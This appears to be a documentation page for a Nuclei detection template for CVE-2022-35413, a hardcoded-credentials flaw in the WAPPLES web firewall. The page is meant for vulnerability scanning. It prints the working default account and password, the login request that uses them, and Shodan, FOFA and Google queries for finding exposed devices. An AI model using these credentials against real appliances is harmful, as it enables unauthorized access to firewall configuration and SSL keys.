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WAPPLES Web Application Firewall <=6.0 - Hardcoded Credentials

ID: CVE-2022-35413

Severity: critical

Author: For3stCo1d

Tags: cve,cve2022,wapples,firewall,default-login,pentasecurity

Description

Section titled “Description”

WAPPLES Web Application Firewall through 6.0 contains a hardcoded credentials vulnerability. It contains a hardcoded system account accessible via db/wp.no1, as configured in the /opt/penta/wapples/script/wcc_auto_scaling.py file. An attacker can use this account to access system configuration and confidential information, such as SSL keys, via an HTTPS request to the /webapi/ URI on port 443 or 5001.

YAML Source

Section titled “YAML Source”
id: CVE-2022-35413


info:
  name: WAPPLES Web Application Firewall <=6.0 - Hardcoded Credentials
  author: For3stCo1d
  severity: critical
  description: |
    WAPPLES Web Application Firewall through 6.0 contains a hardcoded credentials vulnerability. It contains a hardcoded system account accessible via db/wp.no1, as configured in the /opt/penta/wapples/script/wcc_auto_scaling.py file. An attacker can use this account to access system configuration and confidential information, such as SSL keys, via an HTTPS request to the /webapi/ URI on port 443 or 5001.
  impact: |
    An attacker can exploit this vulnerability to gain unauthorized access to the WAPPLES Web Application Firewall.
  remediation: |
    Upgrade to a version of WAPPLES Web Application Firewall that does not contain hardcoded credentials or apply the vendor-provided patch to fix the vulnerability.
  reference:
    - https://medium.com/@_sadshade/wapples-web-application-firewall-multiple-vulnerabilities-35bdee52c8fb
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-35413
    - https://azuremarketplace.microsoft.com/en/marketplace/apps/penta-security-systems-inc.wapples_sa_v6?tab=Overview
    - https://nvd.nist.gov/vuln/detail/CVE-2022-35413
    - https://www.pentasecurity.com/product/wapples/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-35413
    cwe-id: CWE-798
    epss-score: 0.72077
    epss-percentile: 0.97989
    cpe: cpe:2.3:a:pentasecurity:wapples:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: pentasecurity
    product: wapples
    shodan-query:
      - http.title:"Intelligent WAPPLES"
      - http.title:"intelligent wapples"
    fofa-query: title="intelligent wapples"
    google-query: intitle:"intelligent wapples"
  tags: cve,cve2022,wapples,firewall,default-login,pentasecurity


http:
  - raw:
      - |
        POST /webapi/auth HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded


        id={{username}}&password={{password}}


    payloads:
      username:
        - systemi
      password:
        - db/wp.no1
    attack: pitchfork


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"res_msg":"Authentication Success."'
          - '"doc_id":"user_systemi"'
        condition: and


      - type: word
        part: header
        words:
          - WP_SESSID=


      - type: status
        status:
          - 200
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Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2022/CVE-2022-35413.yaml"

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